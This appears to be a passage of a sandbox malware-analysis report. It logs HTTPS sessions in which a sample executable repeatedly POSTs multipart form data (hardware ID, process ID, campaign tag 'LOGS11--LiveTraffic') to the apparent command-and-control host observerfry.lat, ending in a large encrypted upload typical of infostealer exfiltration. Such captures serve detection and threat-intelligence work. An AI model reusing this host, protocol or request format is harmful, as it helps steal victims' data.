2024-12-24 07:42:30 UTC	1369	IN	Data Raw: 4f 69 77 6b 6c 73 33 44 4f 6f 2f 49 51 47 46 75 71 4b 4a 74 58 35 43 70 45 31 30 68 50 6c 50 47 51 63 72 65 5a 41 71 77 41 59 57 72 2f 33 63 52 33 42 43 75 7a 68 73 55 35 6a 38 2b 61 62 32 63 54 79 6c 4a 44 71 62 75 41 46 4a 4a 53 63 34 73 42 76 33 4b 57 57 64 38 4e 56 49 59 55 53 39 64 32 30 39 6f 5a 33 68 30 66 59 2f 50 4d 49 34 4e 4d 50 38 53 45 6c 49 64 47 54 6c 53 62 4a 76 65 4f 6a 68 6e 46 41 33 51 75 6f 67 63 46 33 58 72 75 48 48 39 6e 35 2f 69 48 68 38 67 4f 35 61 54 69 34 61 45 62 41 62 34 43 34 34 74 2f 4c 7a 53 6d 5a 65 6c 45 59 33 45 4a 6d 79 70 6f 6d 6e 65 54 4c 61 5a 54 72 62 77 52 6c 42 55 42 74 34 2f 67 53 68 59 47 69 50 2f 64 78 48 63 45 4b 37 4e 51 55 64 6b 4c 32 33 6a 37 73 31 58 5a 6c 37 63 4d 4f 32 47 51 39 51 66 47 54 77 58 4f 55 70 Data Ascii: Oiwkls3DOo/IQGFuqKJtX5CpE10hPlPGQcreZAqwAYWr/3cR3BCuzhsU5j8+ab2cTylJDqbuAFJJSc4sBv3KWWd8NVIYUS9d209oZ3h0fY/PMI4NMP8SElIdGTlSbJveOjhnFA3QuogcF3XruHH9n5/iHh8gO5aTi4aEbAb4C44t/LzSmZelEY3EJmypomneTLaZTrbwRlBUBt4/gShYGiP/dxHcEK7NQUdkL23j7s1XZl7cMO2GQ9QfGTwXOUp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:32 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1A5A5YR9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12781 Host: observerfry.lat
2024-12-24 07:42:32 UTC	12781	OUT	Data Raw: 2d 2d 31 41 35 41 35 59 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 34 32 32 39 39 39 31 46 32 35 43 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 31 41 35 41 35 59 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 41 35 41 35 59 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 41 35 41 35 59 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --1A5A5YR9Content-Disposition: form-data; name="hwid"3A4229991F25CF36BEBA0C6A975F1733--1A5A5YR9Content-Disposition: form-data; name="pid"2--1A5A5YR9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--1A5A5YR9Content-Di
2024-12-24 07:42:33 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bvonou1cc9r0vq1486jhcttbup; expires=Sat, 19 Apr 2025 01:29:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=76eaCQZeJonHVgl38669cq3iQpZAr8ep%2BRLYD13A93DGiOeC%2FvJhDXfeEGrDDr8mITVb6UwrmCQeuAF46OZNYtH4%2BTK4BRJ1dgZ6CXUNjXGhkvO%2B5DyCIJbx%2F0r2I6I2oEg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef48e3fb842f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1610&min_rtt=1598&rtt_var=624&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13710&delivery_rate=1720683&cwnd=231&unsent_bytes=0&cid=0c5794b606714075&ts=1318&x=0"
2024-12-24 07:42:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:42:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:35 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TYB8JOBW9AC69N83M8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15083 Host: observerfry.lat
2024-12-24 07:42:35 UTC	15083	OUT	Data Raw: 2d 2d 54 59 42 38 4a 4f 42 57 39 41 43 36 39 4e 38 33 4d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 34 32 32 39 39 39 31 46 32 35 43 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 59 42 38 4a 4f 42 57 39 41 43 36 39 4e 38 33 4d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 59 42 38 4a 4f 42 57 39 41 43 36 39 4e 38 33 4d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --TYB8JOBW9AC69N83M8Content-Disposition: form-data; name="hwid"3A4229991F25CF36BEBA0C6A975F1733--TYB8JOBW9AC69N83M8Content-Disposition: form-data; name="pid"2--TYB8JOBW9AC69N83M8Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-24 07:42:36 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9vlv1bmmi1gbhc259114o0o8bu; expires=Sat, 19 Apr 2025 01:29:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U0X1R%2FuVZEs1%2BARFoWThN6%2FRj4J201cm9bmrTb%2BtKJxyrhLXoqD4i9ZCK%2BmPMRAK5vrloFROn9DgBakIExvv3r5Nmntsu2eDMN%2BYwVoM2JFC6lHTtVBfMqQm%2FvgoKWCO%2Fxc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef49f58db8c71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1784&rtt_var=678&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16022&delivery_rate=1603514&cwnd=193&unsent_bytes=0&cid=563b8e58516d06fe&ts=993&x=0"
2024-12-24 07:42:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:42:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:37 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V235NRCGSAXB04 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20549 Host: observerfry.lat
2024-12-24 07:42:37 UTC	15331	OUT	Data Raw: 2d 2d 56 32 33 35 4e 52 43 47 53 41 58 42 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 34 32 32 39 39 39 31 46 32 35 43 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 56 32 33 35 4e 52 43 47 53 41 58 42 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 32 33 35 4e 52 43 47 53 41 58 42 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 56 32 Data Ascii: --V235NRCGSAXB04Content-Disposition: form-data; name="hwid"3A4229991F25CF36BEBA0C6A975F1733--V235NRCGSAXB04Content-Disposition: form-data; name="pid"3--V235NRCGSAXB04Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--V2
2024-12-24 07:42:37 UTC	5218	OUT	Data Raw: 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 Data Ascii: Zh'F3Wun 4F([:7s~X`nO`i
2024-12-24 07:42:38 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=maefrua70qm18ohlj7qrgscd5k; expires=Sat, 19 Apr 2025 01:29:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZoZisAyB54VsK43HgjSiTXvRBaTyMQCb21xakkpOzQpjimMrP2s1PGiJWhDldN6tgDLawdOx5hEdSE4JT%2B56HfOh7Vb3MJgiFJ6XcJ%2BZPJV4o8bCk3L8L7RVIwa2oDBQMkk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef4ae8eb10cc2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1537&min_rtt=1499&rtt_var=589&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21506&delivery_rate=1947965&cwnd=176&unsent_bytes=0&cid=fc269368c26b90e3&ts=975&x=0"
2024-12-24 07:42:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:42:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49710	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:40 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MCEEVKUIPAT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1218 Host: observerfry.lat
2024-12-24 07:42:40 UTC	1218	OUT	Data Raw: 2d 2d 4d 43 45 45 56 4b 55 49 50 41 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 34 32 32 39 39 39 31 46 32 35 43 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 43 45 45 56 4b 55 49 50 41 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 43 45 45 56 4b 55 49 50 41 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 43 45 45 56 4b 55 49 50 41 54 Data Ascii: --MCEEVKUIPATContent-Disposition: form-data; name="hwid"3A4229991F25CF36BEBA0C6A975F1733--MCEEVKUIPATContent-Disposition: form-data; name="pid"1--MCEEVKUIPATContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MCEEVKUIPAT
2024-12-24 07:42:41 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2bdlfj7ib2tv8614hrdug0k0qk; expires=Sat, 19 Apr 2025 01:29:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b5H6rzNG7P%2F0X033LwN13qgZs6Z481vN5m4ueImlSjGPcoOS%2B3%2FiOSoQbjKATwbwSra%2FfsPnJz0lDs1gS8b8hfpxiPPaF9n52lRYHkGmmFmmc4zSd9sUC3vMMhDeQPOf%2FCY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef4bfd9d65e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&min_rtt=1683&rtt_var=673&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2127&delivery_rate=1734997&cwnd=225&unsent_bytes=0&cid=36464f9e6f28a334&ts=794&x=0"
2024-12-24 07:42:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:42:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:43 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MK8BJNVSVOPEFO9K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569631 Host: observerfry.lat
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: 2d 2d 4d 4b 38 42 4a 4e 56 53 56 4f 50 45 46 4f 39 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 34 32 32 39 39 39 31 46 32 35 43 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 4b 38 42 4a 4e 56 53 56 4f 50 45 46 4f 39 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 4b 38 42 4a 4e 56 53 56 4f 50 45 46 4f 39 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --MK8BJNVSVOPEFO9KContent-Disposition: form-data; name="hwid"3A4229991F25CF36BEBA0C6A975F1733--MK8BJNVSVOPEFO9KContent-Disposition: form-data; name="pid"1--MK8BJNVSVOPEFO9KContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: be 5e eb df ef 80 01 2a f3 b5 bd 05 4b f5 0a 8c 91 72 96 d2 e0 48 58 4a 39 80 00 62 27 88 b1 87 52 24 80 d2 04 94 d5 08 67 9e 70 65 b8 0a 83 76 55 2c cc c7 c1 b2 6d d1 e1 99 62 eb fb 38 1e 3b c0 63 df 79 5b 34 08 af e8 e8 ee c6 f6 99 f2 5b fd ff 0f a2 53 0f 00 5a 71 07 98 e3 03 09 a6 94 7c 16 60 f6 f1 c1 fc 54 a5 4b 99 11 91 65 96 8b bd 99 e5 fc 10 f7 1f a2 f1 63 73 06 97 68 64 df 69 03 31 0e c9 20 de c2 21 35 d3 c9 83 0f 34 2b ae 06 9a a2 e3 76 3c 73 2a 83 14 d4 60 ca 0e 5e 89 26 d5 7f eb 43 7a 44 e2 27 04 b7 76 cb d0 9c 39 50 ec 48 4d f2 f3 e5 49 35 ee 94 56 12 a5 da 42 9e 3c 04 cb f5 96 00 1b 37 ee 74 49 29 a6 e8 1c 66 de 24 63 bb 39 c0 55 91 d5 e0 2c ca 21 ac 29 d6 f6 9a 9b 8e af 3b 2a 51 48 8c 2c 24 d1 59 d5 9c c9 5d 01 fe 7b a8 da e8 20 01 30 fd 1d Data Ascii: ^KrHXJ9b'R$gpevU,mb8;cy[4[SZq\|`TKecshdi1 !54+v<s`^&CzD'v9PHMI5VB<7tI)f$c9U,!);*QH,$Y]{ 0
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: 00 63 75 fe 4b 68 72 ef 14 28 26 a4 dc 65 92 45 6d 26 b6 63 7a 5c 1a c3 03 4e 65 44 3c 10 d5 1b ae 75 8d e4 29 61 60 b5 4d ea b4 a5 9a 88 a3 2a ff db a4 1a ab 2f 96 cf 42 68 db d0 bc d8 d4 9a 9b 2f 34 fd fb 48 a0 3a 12 54 19 35 ba 7e c4 65 d0 d5 d8 4c 24 37 95 11 7e 69 9e bc e4 62 01 07 9d 26 e3 7d 12 17 ad 55 aa 13 77 32 42 89 a6 cf 2c e2 8e a0 09 28 76 5a f1 ca 57 85 f5 3a 49 77 15 86 e1 a4 52 63 f0 34 aa b1 bc 02 f1 bc c9 f9 26 5e 02 7b d4 8a 13 6b f4 77 10 58 b4 cf 66 04 2f be fc 72 ac f4 b7 7b 61 9d e5 d9 2b 3c 5a e6 9f 39 d9 0c 0d 3e 8c 24 e7 4c 02 6f 4f 5a 7b bb 22 42 e7 fc 16 fa fb c3 66 e6 ce c6 66 cd bf d7 42 c2 bb 69 b9 ee e5 64 14 a1 ed 69 ed f7 cd 56 59 e4 7f ea bc 45 b0 08 fd b6 d1 fc a7 28 aa fe 8f 8b 1d 1d 2a 8d a1 7b 59 63 19 97 d6 89 e3 Data Ascii: cuKhr(&eEm&cz\NeD<u)a`M/Bh/4H:T5~eL$7~ib&}Uw2B,(vZW:IwRc4&^{kwXf/r{a+<Z9>$LoOZ{"BffBidiVYE({Yc
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: 47 b0 40 73 48 02 4c 24 99 84 e7 a4 a5 3e c7 cf 0e 8c 97 0e e8 c9 c4 86 3b 58 1f 2e d7 f5 c3 95 01 cd ea af 47 22 45 37 1c a7 c9 0c 0d 44 a1 6a a3 11 86 e6 b1 85 1d a2 8a 81 15 47 55 4c bd 0e 19 f0 5f 14 74 8d a9 5d 7e a4 98 f6 cd f5 27 cb 7a 3a 7f 29 f5 4f 5d a6 78 ab ce 2b 19 30 70 79 a8 90 7a 61 65 57 b1 01 63 b0 ed bd 36 a9 e6 eb ed 6f 83 68 fb fc 55 50 17 e6 ed fe eb a7 ec c7 c1 ac 2a a0 19 ae 9a b3 17 3b d2 62 55 b2 c0 d9 72 fc 20 36 02 08 6c 17 31 d1 07 94 07 c3 d2 ff 10 1b da 6a ab df 3a 70 1c ef 77 1c 6f 2c bd c7 5f 18 32 e4 93 25 7a 35 8e 6e 33 85 bc 79 79 bc 4c 96 ea f5 8f c9 b0 56 9a 5b 7b 1b 6d c4 5b c0 3d e5 f3 02 b9 bd 79 8b f1 9d e2 6a 13 3d cc a9 72 7c 85 cb 38 2c e8 45 d3 60 1b fd dc 5c e4 63 0c bf 65 70 ad fb 04 3a 6d 97 86 96 9f 5f 4e Data Ascii: G@sHL$>;X.G"E7DjGUL_t]~'z:)O]x+0pyzaeWc6ohUP*;bUr 6l1j:pwo,_2%z5n3yyLV[{m[=yj=r\|8,E`\cep:m_N
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: 54 ba a0 9b 21 27 95 98 d6 4e 4b 42 ae 1a 2d 9a f3 13 e3 a3 c2 16 08 d9 cb bf e5 35 61 39 80 78 d7 8b e7 8f 04 f3 37 1f 41 49 00 0c 38 46 0f b0 33 6e 89 8c eb 07 2f 7d b8 b4 2f b7 6c 4b 68 5a 10 54 3e c5 b5 4d 5a 8f e2 7f c6 7e c0 c5 81 34 7e a2 0f d4 03 c7 f4 50 9c 74 14 37 98 41 5d 9c c1 78 d4 19 a8 e3 c2 93 38 88 5f 4f b0 71 0b 26 95 a0 a2 58 d0 3d 9e 0a 03 42 41 92 f4 f2 0f c7 28 95 b5 12 4d 17 74 f4 13 47 ca 79 ac d0 63 c5 82 14 53 8b d8 0a cb 02 09 44 14 fc 9c 34 75 6d 26 fd ef 81 71 37 c3 d5 62 e5 7d 2a aa 75 2a 9d ad 77 7a 6f 4e 42 e7 89 05 73 9b 5c d6 c6 66 82 17 78 37 0b a5 4b f8 b0 87 cc 0a bd b6 99 fa e5 92 9e 8c bd 83 79 af 6d c9 e0 42 ea a2 e7 0c a6 e9 11 55 4a be e8 ef 07 ff 1a aa 35 5a d7 5b 2d 71 6a 84 a8 e7 2a 4e 5e 44 53 17 72 8a fd 0b Data Ascii: T!'NKB-5a9x7AI8F3n/}/lKhZT>MZ~4~Pt7A]x8_Oq&X=BA(MtGycSD4um&q7b}uwzoNBs\fx7KymBUJ5Z[-qj*N^DSr
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: d2 19 0b c6 d2 02 7e a8 0c 9f f7 f8 8a b2 64 56 d8 0b eb a8 57 c7 0a 15 eb 26 4f c7 ae 5d 0d 35 3c d0 8a b4 53 7f 09 94 c2 48 7f b9 4d 4a f2 1b b7 55 bd 93 6d 39 e2 54 63 30 a8 1f 0f 19 2c 52 5c 89 a8 b7 72 ee 4d 80 5d 40 e6 26 84 cf a9 92 48 3c 4b 75 76 26 04 1c 02 fe b7 c6 2e a4 0d 54 73 ed 74 81 69 ce 17 6c f9 44 66 3d b6 7c fe 6f 82 cd 06 00 74 11 90 dc 00 9b 01 ee b5 e5 3e 6d 73 83 6c 24 92 93 de 56 14 59 06 8a 99 68 cb 7f 03 a5 80 77 b2 f8 8f f7 28 30 78 ac fa b9 d1 79 eb d9 56 0a 25 82 72 97 42 24 79 ef e1 15 0a 3e b3 6f 93 2d e8 e9 65 9c fe 74 7b b8 4b f4 c3 c9 d9 d8 f4 77 26 97 8e 5a 5e 74 f4 9b 3d ea fc e4 0a e8 a9 78 e1 88 e8 ed d7 37 3e ce fc 8b 5b f9 0c b1 be a0 af 28 31 55 eb 6f 88 a9 a3 06 e2 d4 8b f4 b3 8c e0 d7 85 97 f5 93 b6 31 37 2b 78 Data Ascii: ~dVW&O]5<SHMJUm9Tc0,R\rM]@&H<Kuv&.TstilDf=\|ot>msl$VYhw(0xyV%rB$y>o-et{Kw&Z^t=x7>[(1Uo17+x
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: 00 0b 67 5e a6 b6 08 cc e0 c0 f8 66 9a 90 80 b2 d2 bf a5 27 18 b5 6f ee 83 a4 7a df b8 cf 26 eb 28 46 58 65 b7 89 dc cc 59 77 9f 93 db 6b 3d fd 2f 65 7f 3a 53 28 fa 58 79 12 1e f6 bf d3 69 d1 73 be 64 28 2e 91 48 21 b6 54 9f 9d 92 88 fa a7 97 81 fb 56 ce 86 0c c8 45 1f 35 53 15 cb 0d e3 05 b3 8f d5 7f 15 39 c4 68 ba 5f 62 bf fd b1 5a 0f e7 ac 48 77 c1 8f f1 ce ca cb 1f 1e 84 d8 aa 39 4f 4f cd da ce 9e 7e 2d d7 e7 bf 7c f3 e5 4d 06 eb 5d d9 ae 8a ab 14 51 41 91 b2 aa b5 b7 b8 88 33 85 c1 57 43 47 0f 17 de cc 5d bd 69 77 95 db 7b d4 5a 5b e4 99 05 74 71 c9 b3 95 f0 ac cb c1 44 41 4a 40 4c 4f 61 a0 7c e4 f1 dd 5b fb b2 bb 92 ee 7e e7 5d 0c fd c8 ed ad fa ce ad d5 b3 3a 63 62 03 22 1f 9e 86 84 64 a0 da 4a df d9 d6 9d 6f bd 98 67 32 5c 35 84 52 72 ba 72 c2 7f Data Ascii: g^f'oz&(FXeYwk=/e:S(Xyisd(.H!TVE5S9h_bZHw9OO~-\|M]QA3WCG]iw{Z[tqDAJ@LOa\|[~]:cb"dJog2\5Rrr
